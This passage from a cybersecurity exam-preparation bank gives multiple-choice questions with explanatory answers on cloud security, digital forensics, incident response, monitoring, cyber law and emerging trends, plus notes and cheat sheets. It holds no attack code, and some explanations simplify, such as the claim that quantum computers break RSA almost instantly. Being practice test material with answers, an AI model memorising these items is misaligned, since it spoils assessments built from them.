Q6. (Conceptual) What is **Cloud Sprawl** and why is it a security risk?

A) It is a type of cloud-based malware.

B) The uncontrolled proliferation of cloud instances and services, often leading to unmonitored and unpatched resources ("shadow IT").

C) When a cloud provider goes out of business.

D) When data centers are too far apart.

> "You can't secure what you don't know you have." Cloud sprawl leads to "orphaned" servers that may have weak passwords or old vulnerabilities, serving as an easy entry point for attackers.

Q7. (Conceptual) In a cloud environment, what is the role of a **Security Group**?

A) A team of human security guards.

B) A virtual firewall that controls inbound and outbound traffic for one or more instances (at the interface level).

C) A tool for encrypting hard drives.

D) A backup service for the database.

> Security groups provide the primary layer of network security in the cloud, allowing you to explicitly "allow" only specific traffic (e.g., allow Port 443 from anywhere).

Q8. (Scenario-Based) A company needs to ensure that their data in an S3 bucket is encrypted even if an attacker manages to steal the physical hard drive from the cloud provider's data center. Which technology solves this?

A) TLS/SSL

B) Encryption at Rest (e.g., AES-256 with KMS)

C) Multi-factor Authentication

D) A Virtual Private Network (VPN)

> Encryption at rest protects the stored data. Cloud providers offer "Server-Side Encryption," which ensures that the data is encrypted before it is written to the physical disk.

Deep Dive: The IAM Policy Engine

In the cloud, **Identity is the new Perimeter**. Traditional firewalls (IP-based) are not enough because IP addresses in the cloud are dynamic. Security is instead managed by **JSON Policies**:

- **Principal:** Who is making the request? (User or Service).
- **Action:** What are they trying to do? (e.g., `s3:ListBucket`).
- **Resource:** What object are they acting on? (e.g., `arn:aws:s3:::my-secure-data`).
- **Effect:** Allow or Deny.

By using **IAM Roles** for software (rather than hardcoded keys), applications can "assume" a temporary set of permissions, which automatically expire, drastically reducing the risk of stolen credentials.

Stable Web Resources

- Cloud Security Alliance (CSA)
- AWS: Shared Responsibility Model

Quick Revision Cheat Sheet

- **Shared Responsibility:** Provider = Hardware/Kernel; You = Data/Config.
- **IAM:** Control identities, not IPs. Use Roles, not Keys.
- **VPC:** Your private network in the cloud.
- **Security Group:** Instance-level firewall (Allow-only).
- **Hypervisor Escape:** Breaking out of a VM to the Host (Critical).
- **SaaS Security:** Focus on passwords and data sharing.

END OF SUBTOPIC 11 — MOVING TO SUBTOPIC 12

Subtopic 12: Digital Forensics (8 MCQs)

Quick Notes

- **Digital Forensics:** The application of investigation and analysis techniques to collect and preserve evidence from a particular computing device in a way that is suitable for presentation in a court of law.
- **Order of Volatility:** The sequence in which evidence must be collected, starting from the most fragile (RAM, Cache) to the most permanent (Disk, Backups).
- **Chain of Custody:** A chronological document that records the sequence of custody, control, transfer, analysis, and disposition of physical or electronic evidence.
- **Forensic Image:** A bit-stream (bit-for-bit) copy of the original media. Investigators work on this image, never on the original evidence.
- **Write Blocker:** Hardware or software that prevents any data from being written to a drive during the imaging process, ensuring the evidence remains pristine.
- **Steganography:** The practice of concealing a file, message, image, or video within another file.

Common Traps & Confusions

- **Powering Down:** A common mistake is immediately pulling the power plug. This destroys "Volatile Data" (RAM, active network connections, running processes) which may contain encryption keys or unsaved chat logs.
- **Imaging vs. Copying:** Simply "Copying" files (Ctrl+C / Ctrl+V) does not capture deleted files, file metadata (creation times), or unallocated space. Only a **Bit-stream Image** captures everything.
- **Integrity Checks:** If the hash (MD5/SHA) of the forensic image does not match the hash of the original drive taken at the scene, the evidence is usually thrown out of court.

MCQs

Q1. (Scenario-Based) An investigator arrives at a crime scene where a laptop is powered on and logged in. According to the **Order of Volatility**, which data should be captured first?

A) The contents of the hard drive.

B) External USB backup drives.

C) System RAM (memory) and active network connections.

D) The history stored in the web browser.

> RAM is the most volatile. If the computer is turned off or the battery dies, all data in RAM is lost forever. This may include encryption keys for the hard drive that make disk forensics impossible later.

Q2. (Code-Tracing) A forensic tool generates the following output after imaging a drive. What is the investigator checking here?

forensic-verify.log

```
[Source Drive] SHA-256: 8f43...a12e
[Forensic Image] SHA-256: 8f43...a12e
[Status]: VERIFIED MATCH
```

A) The speed of the data transfer.

B) Data Integrity; ensuring the forensic copy is an exact, unaltered replica of the original evidence.

C) The capacity of the destination drive.

D) The decryption status of the files.

> Hashing (SHA-256) is used to prove that not a single bit of data changed during the imaging process. A verified match is required for the evidence to be admissible in court.

Q3. (Conceptual) What is the specific purpose of a **Hardware Write Blocker** during the evidence acquisition phase?

A) To speed up the imaging process.

B) To encrypt the original drive.

C) To physically prevent the OS from writing even a single byte of metadata back to

the evidence drive.

D) To find deleted files automatically.

> Modern Operating Systems automatically write hidden metadata (like "Last Accessed Time") to a drive as soon as it is plugged in. A write blocker intercepts these commands, ensuring the original evidence remains 100% untouched.

Q4. (Scenario-Based) A digital investigator completes an analysis but forgets to document who had access to the evidence locker for a 24-hour period. Which legal requirement has been compromised?

A) Right to Privacy

B) Chain of Custody

C) Rules of Engagement

D) Search and Seizure

> Chain of Custody must be unbroken. Any "gap" in the documentation of who handled the evidence creates a window for potential tampering, making the evidence inadmissible.

Q5. (Comparison) How does a **Bit-stream Image** differ from a standard **Back-up** of a folder?

A) Bit-stream images are smaller.

B) Bit-stream images include unallocated space, slack space, and deleted file fragments; Back-ups only include active files.

C) Back-ups are used in courts, images are not.

D) There is no technical difference.

> A Bit-stream image is a physical-level copy of every sector on the disk. This allows investigators to find "deleted" data that hasn't been overwritten yet, which a file-level backup would ignore.

Q6. (Conceptual) In digital forensics, where are **deleted files** typically found before they are overwritten by new data?

A) In the CPU cache.

B) In the Unallocated Space (Free Space) of the file system.

C) In the BIOS/UEFI firmware.

D) In the RAM.

> When you delete a file, the OS simply marks that area of the disk as "Available" (Unallocated) in the file table. The actual 1s and 0s remain on the disk until a new file is written over that specific sector.

Q7. (Conceptual) What is **Steganography**?

A) The process of cracking a password.

B) The art of hiding a secret message or file inside another non-secret file (like an image or audio file).

C) A method of DDoS protection.

D) Encrypting the entire hard drive.

> Steganography differs from encryption because it hides the *existence* of the message. An investigator might see a normal looking JPEG of a sunset that actually contains a hidden text file.

Q8. (Scenario-Based) An investigator finds a suspect's computer is running a **TrueCrypt** container (encrypted volume). Why should they perform a "Live Acquisition" while the computer is still on?

A) To save electricity.

B) To extract the encryption keys from the RAM so the volume can be decrypted later.

C) To prevent the computer from going into sleep mode.

D) Live acquisition is the only way to see the desktop wallpaper.

> If the system is powered off, the volatile keys in RAM are lost. Without those keys, modern high-grade encryption (like AES-256) cannot be broken within a human lifetime using brute force.

Deep Dive: The Four Phases of the Forensic Process

NIST defines the forensic lifecycle in four distinct stages:

1. **Collection:** Identifying, labeling, recording, and acquiring data from the sources while maintaining integrity.
2. **Examination:** Using automated and manual tools to uncover hidden data (e.g., carving deleted files).

3. **Analysis:** Using the results of the examination to answer the questions of the investigation (e.g., "Who sent this email?").
4. **Reporting:** Documenting the findings, the tools used, and the chain of custody for legal presentation.

Stable Web Resources

- Wikipedia: Digital Forensics
- The Sleuth Kit (Open Source Forensic Tool)

Quick Revision Cheat Sheet

- **Volatility:** RAM > Swap > Disk > Backups.
- **Integrity:** MD5 or SHA-256 hashes must match.
- **Write Blocker:** Prevents alteration of evidence.
- **Chain of Custody:** The paper trail of the evidence.
- **Bit-stream Image:** Bit-for-bit copy (includes deleted files).
- **Unallocated Space:** Where deleted data lives.

END OF SUBTOPIC 12 — MOVING TO SUBTOPIC 13

Subtopic 13: Incident Response & Management (8 MCQs)

Quick Notes

- **Security Incident:** An event that negatively affects the confidentiality, integrity, or availability of an information system.
- **Incident Response (IR):** The organized approach to addressing and managing the aftermath of a security breach or cyberattack.

- **The PICERL Framework (SANS):**
  - *Preparation:* Establishing policies and tools before an incident occurs.
  - *Identification:* Detecting and determining the scope of an attack.
  - *Containment:* Limiting the damage (e.g., isolating an infected server).
  - *Eradication:* Removing the root cause of the incident (e.g., deleting malware).
  - *Recovery:* Restoring systems to normal operation.
  - *Lessons Learned:* Documentation and process improvement.
- **CSIRT:** Computer Security Incident Response Team.

Common Traps & Confusions

- **Containment vs. Eradication:** Containment is "stopping the bleeding" (unplugging the network cable). Eradication is "surgery" (deleting the malicious files and patching the bug).
- **Evidence Preservation:** In the rush to recover systems, teams often accidentally delete forensic evidence. Containment should always prioritize the preservation of data for analysis.
- **False Positives:** High-volume alerts from an IDS can lead to "alert fatigue," where real incidents are missed because they are buried in noise.

MCQs

Q1. (Scenario-Based) A security analyst detects that a server is currently communicating with a known malicious Command and Control (C&C) IP address. The analyst immediately **disconnects the server from the network**. Which phase of the PICERL framework is this?

A) Identification

B) Containment

C) Eradication

D) Recovery

> Containment is the phase where you stop the attack from spreading or causing further damage. Disconnecting a machine prevents the attacker from sending further commands or exfiltrating more data.

Q2. (Conceptual) During which phase of the Incident Response process is the **"Root Cause Analysis"** performed to ensure the vulnerability is fully patched before the system goes back online?

A) Preparation

B) Identification

C) Eradication

D) Recovery

> Eradication involves identifying all affected components and completely removing the threat. This includes finding how the attacker got in and fixing that weakness so they cannot return.

Q3. (Code/Logic) A CSIRT team is reviewing the following "Post-Mortem" log entry. Which phase of the IR lifecycle does this activity represent?

ir-meeting-notes.txt

```
[REPORT]
- The attacker used a SQL injection in the login form.
- Action: Implement WAF rules and parameterized queries.
- Result: Updated developer training manual for next year.
```

A) Preparation

B) Containment

C) Recovery

D) Lessons Learned

> The "Lessons Learned" phase occurs after the incident is resolved. It focuses on documenting the cause and improving defenses and processes to prevent similar incidents in the future.

Q4. (Conceptual) What is the primary goal of the **Recovery** phase in incident management?

A) To catch the hacker and put them in jail.

B) To restore affected systems to their normal operational state and verify that they are functioning correctly without any remaining threats.

C) To buy new hardware for the office.

D) To hide the incident from the public.

> Recovery is about getting back to business. It involves restoring from backups, re-testing system security, and gradually allowing production traffic back to the affected servers.

Q5. (Conceptual) In the context of the Identification phase, what is an **Indicator of Compromise (IoC)**?

A) A tool used to encrypt a hard drive.

B) A certificate issued by a trusted authority.

C) A piece of forensic evidence (such as a specific file hash, IP address, or registry key) that indicates a high probability of a system breach.

D) A backup of the system configuration.

> IoCs are the "fingerprints" left behind by attackers. IR teams use known IoC lists to scan their networks to identify which machines have been infected by a specific piece of malware.

Q6. (Scenario-Based) An IR team is deciding between "Live Imaging" of a server versus "Pulling the Plug." Which approach is preferred during **Containment** to ensure the best chance of successful analysis later?

A) Pulling the plug, to stop the malware instantly.

B) Live Imaging / Memory Capture, to preserve volatile data like encryption keys and running processes.

C) Deleting the infected folder immediately.

D) Formatting the hard drive.

> Modern IR prioritizes "Live Response." Pulling the plug destroys the data in RAM, which often contains the only copy of the keys needed to decrypt data or the "command and control" addresses the malware is using.

Q7. (Comparison) What is the difference between **Short-term Containment** and **Long-term Containment**?

A) Short-term is for software; Long-term is for hardware.

B) Short-term is immediate isolation to stop the spread; Long-term involves installing temporary workarounds to allow business to continue while the root cause is investigated.

C) Short-term is for 1 hour; Long-term is for 1 year.

D) There is no functional difference.

> Short-term containment is an emergency "cut-off" (e.g., blocking an IP). Long-term containment allows the business to keep running (e.g., using a backup server in a clean VLAN) while the main system is being scrubbed.

Q8. (Conceptual) Why is **Communication Management** considered a critical part of the Incident Response process?

A) To tell the hacker that they have been caught.

B) To ensure that stakeholders (Legal, HR, PR, and Executives) are informed of the status and to comply with data breach notification laws.

C) To allow developers to chat during the fix.

D) To speed up the internet connection.

> A security breach is a legal and PR event as much as a technical one. Many jurisdictions require companies to notify users of a breach within 72 hours. Failure to communicate properly can lead to massive fines and lawsuits.

Deep Dive: The Importance of Incident Playbooks

In the heat of an actual attack, human panic leads to mistakes. Professional IR teams use **Playbooks**:

- **Step-by-step guides** for specific incident types (e.g., a "Ransomware Playbook" vs. a "DDoS Playbook").
- They define **Communication Channels** (who to call, including legal and PR).
- They establish **Legal Thresholds** (at what point do we contact the FBI or local authorities?).

Regularly practicing these playbooks through "Tabletop Exercises" ensures the team can act rationally when a real breach occurs.

Stable Web Resources

- NIST SP 800-61: Computer Security Incident Handling Guide
- SANS: Incident Handler's Handbook

Quick Revision Cheat Sheet

- **IoC:** Evidence of an attack (hashes, IPs).
- **SLA:** Time limit for responding to an incident.
- **First Responder:** The first person to handle the evidence/incident.
- **Containment First:** Stop the bleeding before performing surgery.
- **Root Cause:** The "How" and "Why" of the attack (found in Eradication).

END OF SUBTOPIC 13 — MOVING TO SUBTOPIC 14

Subtopic 14: Security Monitoring & Auditing (8 MCQs)

Quick Notes

- **Security Monitoring:** The continuous process of identifying, analyzing, and reporting security-related events in real-time.
- **SIEM (Security Information and Event Management):** A tool that centralizes logs from various sources (firewalls, servers, apps) and uses correlation rules to identify potential attacks.
- **SOC (Security Operations Center):** A centralized unit that deals with security issues on an organizational and technical level.
- **Log Sources:** Syslog (Linux), Event Viewer (Windows), Flow logs (Network), Access logs (Web).
- **Vulnerability Scanning:** Automated tools (e.g., Nessus) that check for known weaknesses in systems.
- **Compliance Auditing:** Verifying that the organization is following specific rules (e.g., ISO 27001, HIPAA, GDPR).

Common Traps & Confusions

- **Monitoring vs. Auditing:** *Monitoring* is ongoing and real-time ("What is happening now?"). *Auditing* is a periodic review of the past ("Did we follow the rules last month?").
- **Log Retention:** Storing logs is useless if they aren't protected. Attackers often try to delete their traces by wiping logs; therefore, logs should be sent to a **write-only** log server.
- **False Positives:** If an alert is triggered by normal behavior (e.g., a backup script looking like a data exfiltration), it's a false positive. Too many of these lead to "alert fatigue."

MCQs

Q1. (Conceptual) What is the primary function of a **SIEM (Security Information and Event Management)** system?

A) To encrypt all outgoing emails.
B) To aggregate and correlate logs from multiple disparate sources to identify suspicious patterns or security incidents.
C) To act as a primary database for user profiles.
D) To manage the company's payroll.

> SIEM tools collect data from firewalls, antivirus, and servers. By "correlating" this data (e.g., noticing a failed login on Server A followed by an unusual file access on Server B), it can detect complex attacks.

Q2. (Scenario-Based) A security analyst notices 5,000 failed login attempts from a single IP address within 1 minute. The SIEM triggers an alert labeled "Brute Force Attack." This is an example of:

A) Vulnerability Scanning
B) Real-time Monitoring and Correlation
C) Compliance Auditing
D) Digital Forensics

> Real-time monitoring involves set thresholds (e.g., X fails in Y minutes). When the rule is met, the system alerts the SOC team immediately.

Q3. (Comparison) How does **Continuous Monitoring** differ from a **Vulnerability Scan**?

A) Monitoring is only for hardware; Scans are for software.

B) Monitoring is a 24/7 process of observing behavior; a Scan is a point-in-time assessment to find known missing patches or misconfigurations.

C) Vulnerability scans are more secure.

D) There is no difference.

> Think of a Scan as a "medical checkup" you do once a month, and Monitoring as a "heart-rate monitor" you wear all the time. Both are necessary but serve different purposes.

Q4. (Code/Logic) A Linux admin views the following log file. Which type of log is this?

/var/log/auth.log

```
May 20 10:00:01 server sshd[1234]: Failed password for root from 192.16
May 20 10:00:05 server sshd[1234]: Failed password for root from 192.16
```

A) Application Log

B) Network Flow Log

C) Authentication/Security Log

D) Kernel Log

> The `auth.log` (or `secure` log in some distros) specifically tracks login attempts, sudo usage, and SSH connections. It is the most important log for identifying brute force attacks.

Q5. (Conceptual) What is the goal of a **Compliance Audit**?

A) To find and fix bugs in code.

B) To verify that the organization's security controls meet specific regulatory requirements (like HIPAA or PCI-DSS).

C) To increase the network speed.

D) To install new antivirus software.

> Compliance audits are legal or contractual requirements. An auditor checks if you are "doing what you said you would do" to protect sensitive data.

Q6. (Scenario-Based) An attacker manages to compromise a server and immediately deletes the `history` files and system logs. Which security control would have prevented the **loss of this audit trail**?

A) Stronger passwords.

B) A local firewall.

C) Centralized Log Management (sending logs to a separate, write-only server).

D) A faster CPU.

> If logs are sent to a remote Log Server (like Splunk or an ELK stack) in real-time, the attacker can delete the local copies, but the security team will still have the record of what happened on the remote server.

Q7. (Conceptual) In security monitoring, what is a **"True Negative"**?

A) A system failure that is not recorded.

B) When the monitoring system correctly identifies a legitimate action as safe and does not trigger an alert.

C) An attacker who is not caught.

D) A false alarm.

> True Negative is the "ideal" state for normal traffic. It means the system is working correctly by staying silent when there is no threat.

Q8. (Conceptual) What is the function of **NetFlow** data in network monitoring?

A) To read the contents of users' emails.

B) To record metadata about network traffic (source, destination, ports, amount of data) without capturing the full packet payload.

C) To block all incoming traffic.

D) To encrypt the Wi-Fi signal.

> NetFlow is like a "phone bill" for the network. It doesn't tell you what was said (payload), but it tells you who called whom, when, and for how long. It is vital for detecting large-scale data exfiltration.

Deep Dive: Log Correlation and Heuristics

Modern SIEMs use more than just "if X then Y" rules. They use **Heuristics and AI**:

- **Behavioral Baselining:** The system learns what "Normal" looks like (e.g., Bob usually logs in from 9 to 5 from a New York IP).
- **Anomaly Detection:** If Bob suddenly logs in at 3 AM from an IP in another country and starts downloading 50GB of data, the system triggers a high-priority alert even if Bob used the correct password.

This is the difference between simple "Log Management" and true "Security Intelligence."

Stable Web Resources

- Wikipedia: SIEM
- Splunk: Security Monitoring Guide

Quick Revision Cheat Sheet

- **SIEM:** Central log brain.
- **Audit:** Look at the past. **Monitor:** Look at the present.
- **False Positive:** Friendly fire (annoying).
- **False Negative:** Attacker missed (dangerous).
- **SOC:** The people running the monitoring.
- **Log Integrity:** Move logs off the server immediately.

END OF SUBTOPIC 14 — MOVING TO SUBTOPIC 15

Subtopic 15: Cyber Laws & Ethics (8 MCQs)

Quick Notes

- **Cyber Law:** The field of law dealing with the internet, computing, and related legal issues (privacy, intellectual property, freedom of expression).
- **Data Privacy Laws:**
  - *GDPR (General Data Protection Regulation):* EU law focusing on data protection and privacy for all individuals within the EU. Features "The Right to be Forgotten."
  - *HIPAA:* US law protecting sensitive patient health information.
- **Intellectual Property (IP):**
  - *Copyright:* Protects the "expression" of ideas (e.g., source code, manuals).
  - *Patent:* Protects "inventions" and processes (e.g., a specific new encryption algorithm).
  - *Trade Secret:* Proprietary business information (e.g., the Google Search formula).
- **Ethics:** The moral principles governing behavior. In security, this includes "Responsible Disclosure" and the difference between White, Grey, and Black hat hackers.
- **CFAA (Computer Fraud and Abuse Act):** A primary US federal law used to prosecute "unauthorized access" to computers.

Common Traps & Confusions

- **Ethics vs. Law:** Something can be legal but unethical (e.g., keeping a found security flaw secret to use later), or ethical but illegal (e.g., hacking a system to expose a crime without a warrant).
- **Copyright vs. Patent:** Copyright is automatic once code is written; Patents must be applied for and granted. Copyright does not protect the *logic* of the code, only the specific *text* written.

- **Right to be Forgotten:** This does not mean an absolute right to delete all data; it applies specifically to personal data that is no longer necessary for the purpose it was collected.

MCQs

Q1. (Scenario-Based) A user in the European Union requests that a social media company delete all their photos, posts, and personal profile data because they no longer wish to use the service. Under **GDPR**, which principle is the user exercising?

A) Right to Data Portability
B) Right of Access
C) Right to Erasure (Right to be Forgotten)
D) Right to Rectification

> The Right to Erasure allows individuals to request the deletion of their personal data when there is no compelling reason for its continued processing by the company.

Q2. (Conceptual) Which form of **Intellectual Property** is most commonly used to protect the actual **source code** of a software application from being copied by a competitor?

A) Copyright
B) Patent
C) Trademark
D) Service Mark

> Source code is treated as a "literary work" under international law. Therefore, it is automatically protected by Copyright the moment it is written, preventing others from legally copying the text of the code.

Q3. (Scenario-Based) A security researcher finds a critical vulnerability in a large bank's website. Instead of selling it on the dark web, they document it and send a private report to the bank's security team, giving them 90 days to fix it. This is known as:

A) Full Disclosure
B) Responsible (Coordinated) Disclosure
C) Cyber Espionage
D) Intellectual Theft

> Responsible disclosure is an ethical practice where researchers work with vendors to fix bugs before making them public, preventing attackers from exploiting the flaw in the meantime.

Q4. (Conceptual) What is the main legal issue addressed by the **Computer Fraud and Abuse Act (CFAA)**?

A) Software licensing fees.
B) Accessing a computer or network "without authorization" or "exceeding authorized access."
C) The speed of the internet connection.
D) The use of open-source libraries.

> The CFAA is the primary anti-hacking law. It criminalizes the act of breaking into systems, regardless of whether data was stolen or damage was done.

Q5. (Comparison) What is the difference between **Proprietary** and **GPL (General Public License)** software?

A) GPL software is always free of cost.
B) Proprietary software restricts the user's right to view or modify the source code; GPL requires that any modifications also be released under the same open-source terms.
C) Proprietary software is only for Windows.
D) GPL software is less secure.

> The GPL is a "copyleft" license. It ensures that software remains free and open, requiring anyone who distributes a modified version to share their code as well. Proprietary code is kept secret as a trade secret.

Q6. (Conceptual) The GDPR principle of **"Data Minimization"** requires that organizations:

A) Compress all their data using ZIP files.
B) Only collect and process personal data that is strictly necessary for the specified purpose.
C) Delete all data every 24 hours.
D) Store data on the smallest possible hard drives.

> Data minimization reduces risk. If you don't need a user's date of birth to provide a service, you shouldn't ask for it. This limits the damage if a breach occurs.

Q7. (Scenario-Based) A professional "Ethical Hacker" is hired to test a company's defenses. Before starting, they sign a document defining exactly which IP addresses can be attacked and what methods are allowed. This document is called:

A) A Service Level Agreement (SLA)
B) Rules of Engagement (RoE)
C) An End User License Agreement (EULA)
D) A Non-Disclosure Agreement (NDA)

> The RoE is a critical legal and ethical document. It prevents the hacker from accidentally attacking a client's partner or using a method that could crash a production server.

Q8. (Conceptual) What is the purpose of the **DMCA (Digital Millennium Copyright Act)** anti-circumvention provisions?

A) To encourage users to share passwords.
B) To make it illegal to create or use tools that bypass digital rights management (DRM) protections on copyrighted works.
C) To allow users to download movies for free.
D) To protect the privacy of email headers.

> The DMCA prohibits the "circumvention" of technical measures (like encryption or license keys) that control access to copyrighted material like games, movies, and software.

Deep Dive: Software Engineering Professional Ethics

Professional bodies like the **ACM** and **IEEE** have strict codes of ethics for software engineers. Key obligations include:

- **Public Interest:** Software engineers shall act consistently with the public interest.
- **Product Quality:** Engineers should ensure that their products meet the highest professional standards possible.
- **Integrity:** Maintaining independence and integrity in professional judgment (e.g., refusing to ignore a security flaw to meet a deadline).

- **Confidentiality:** Respecting the privacy of the client and the users of the software.

Stable Web Resources

- GDPR: Official Regulation Text
- ACM Code of Ethics and Professional Conduct

Quick Revision Cheat Sheet

- **GDPR:** Privacy (EU). **HIPAA:** Health (US).
- **Copyright:** Text of code. **Patent:** Logical process/invention.
- **Responsible Disclosure:** Fix first, tell public later.
- **White Hat:** Ethical/Authorized. **Black Hat:** Malicious.
- **Data Minimization:** Don't collect what you don't need.
- **RoE:** Legal boundaries for a security test.

END OF SUBTOPIC 15 — MOVING TO SUBTOPIC 16

Subtopic 16: Emerging Trends in Cyber Security (8 MCQs)

Quick Notes

- **Artificial Intelligence (AI) & ML:** Used for predictive threat intelligence and automated anomaly detection. Conversely, *Adversarial AI* is used by attackers to create more convincing phishing or bypass CAPTCHAs.
- **Zero Trust Architecture (ZTA):** The evolution from "Perimeter Defense" to "Identity Defense." It assumes the network is always hostile and requires micro-segmentation and continuous verification.

- **Quantum-Resistant Cryptography (Post-Quantum):** New cryptographic algorithms (like Lattice-based) designed to be secure against attacks from future quantum computers, which could easily break RSA and ECC.
- **Blockchain Security:** Using decentralized ledgers to ensure data integrity and provide immutable audit logs for supply chains and identity management.
- **5G and IoT Risks:** The massive increase in connected devices and high-speed data creates a vast attack surface that is difficult to monitor using traditional tools.

Common Traps & Confusions

- **AI is not a Silver Bullet:** While AI can find patterns, it can be tricked by "Adversarial Examples" (data designed to confuse a model) and can produce false positives.
- **Quantum Threat Timeline:** Quantum computers capable of breaking current encryption don't exist *yet*, but organizations are switching now because data stolen today can be decrypted years later ("Harvest Now, Decrypt Later").
- **Zero Trust isn't just a VPN:** Zero Trust is a holistic strategy involving identity, devices, and applications; simply installing a VPN does not make a network "Zero Trust."

MCQs

Q1. (Conceptual) Why is **Quantum Computing** considered a major emerging threat to current cybersecurity standards?

A) Quantum computers are much faster at guessing passwords using simple brute force.
B) Algorithms like Shor's Algorithm running on a quantum computer can solve the mathematical problems behind RSA and ECC in polynomial time, rendering them obsolete.
C) Quantum computers can physically melt traditional hard drives.
D) Quantum computers do not use IP addresses, making them untraceable.

> Most modern encryption (RSA/Diffie-Hellman) relies on the difficulty of integer factorization or discrete logarithms. A large-scale quantum computer can solve these problems almost instantly, breaking the foundation of internet security.

Q2. (Scenario-Based) An attacker uses a generative AI model to create a **"Deepfake"** audio recording of a CEO's voice, tricking an employee into transferring funds. This is a modern evolution of which classic attack?

A) SQL Injection

B) Man-in-the-Middle

C) Social Engineering (Vishing)

D) Cross-Site Scripting

> Deepfakes use AI to enhance social engineering. By mimicking a trusted voice or face perfectly, attackers can bypass traditional human "gut feeling" checks that used to catch scammers.

Q3. (Conceptual) In a **Zero Trust Architecture**, what is **Micro-segmentation**?

A) Dividing a hard drive into very small partitions.

B) Dividing the network into granular zones to control lateral movement, where access between two internal servers requires explicit authorization.

C) Reducing the size of the network packets.

D) Allowing only one user to log in at a time.

> Traditional security was like a castle with a moat (one big perimeter). Micro-segmentation is like having a lock on every single door inside the castle, ensuring that if an attacker enters one room, they are still blocked from the rest.

Q4. (Comparison) What is the primary benefit of **Post-Quantum Cryptography (PQC)** over traditional RSA encryption?

A) PQC is faster on traditional CPUs.

B) PQC uses smaller keys.

C) PQC is based on mathematical problems (like shortest vector problems in lattices) that are believed to be resistant to both classical and quantum computer attacks.

D) PQC does not require electricity to run.

> PQC aims to replace current standards with algorithms that even a quantum computer cannot solve efficiently, ensuring long-term data confidentiality.

Q5. (Code/Logic) A security team is deploying an **AI-based Anomaly Detection** system. Based on the following log, why did the AI trigger an alert despite a valid login?

ai-security-monitor.log

```
[EVENT] User 'Admin' Login: SUCCESS
[ANALYSIS] IP: 192.168.5.10 (Known)
[ANALYSIS] Time: 03:15 AM (Unexpected)
[ANALYSIS] Payload: 50GB egress in 2 minutes (Anomaly)
[ACTION] BLOCK_ACCOUNT_TEMPORARILY
```

A) The password was incorrect.

B) The IP address was blocked.

C) Behavioral Analysis: The unusual time and massive data transfer deviated significantly from the established user baseline.

D) The admin was using a mobile device.

> Modern AI security doesn't just look at "right or wrong" credentials. It looks at behavior. An admin logging in at 3 AM and downloading 50GB of data is a high-probability indicator of a compromised account or insider threat.

Q6. (Conceptual) How can **Blockchain** technology be used to improve cybersecurity in supply chain management?

A) By making the data transfer faster.

B) By providing an immutable, transparent record of every hardware and software component, preventing the injection of counterfeit or malicious parts.

C) By replacing the need for firewalls.

D) By automatically deleting viruses.

> Blockchain's immutability ensures that once a record is entered, it cannot be secretly altered. This provides a "chain of trust" for software updates and hardware components.

Q7. (Scenario-Based) An organization adopts **SASE (Secure Access Service Edge)**. What does this emerging trend combine?

A) Hardware routers and physical security guards.

B) WAN capabilities (networking) with cloud-native security functions (like firewalls and CASB) into a single service model.

C) Blockchain and AI.

D) Desktop security and mobile security.

> SASE (pronounced "sassy") is a cloud-native architecture that delivers both network and security services directly to the user's device, regardless of where they are, rather than forcing everything through a central data center.

Q8. (Conceptual) What is **Homomorphic Encryption**?

A) Encryption that uses the same key for everyone.

B) A type of encryption that allows mathematical computations to be performed on ciphertext, producing an encrypted result that, when decrypted, matches the result of the operations on the plaintext.

C) Encryption that changes every hour.

D) A method for encrypting only human DNA data.

> This is a "holy grail" of privacy. It allows a cloud provider to process your data (e.g., calculate your taxes) without the provider ever actually "seeing" your private numbers.

Deep Dive: The Zero Trust Maturity Model

Transitioning to Zero Trust is a journey defined by CISA (Cybersecurity and Infrastructure Security Agency) across five pillars:

1. **Identity:** Moving from passwords to phishing-resistant MFA and behavioral analytics.
2. **Devices:** Constant monitoring of the "health" and integrity of every phone or laptop on the network.
3. **Network:** Moving from a flat network to highly segmented "micro-perimeters."
4. **Applications:** Shielding applications so they are not visible on the public internet, accessible only through a secure proxy.
5. **Data:** Automated data labeling and encryption based on the sensitivity of the content.

Stable Web Resources

- NIST: Post-Quantum Cryptography Project
- CISA: Zero Trust Maturity Model

Quick Revision Cheat Sheet

- **AI in Security:** Detects anomalies, but can be biased or tricked.
- **Zero Trust:** Micro-segmentation + Continuous Auth (No internal trust).
- **Quantum Threat:** RSA/ECC will break; PQC is the fix.
- **SASE:** Network + Security in the Cloud.
- **Deepfakes:** AI-powered social engineering.
- **Homomorphic Encryption:** Compute on encrypted data without decrypting.

CONGRATULATIONS!

ALL 10 SECTIONS COMPLETED

NSCT Preparation Bank - Official P@SHA Syllabus Mapping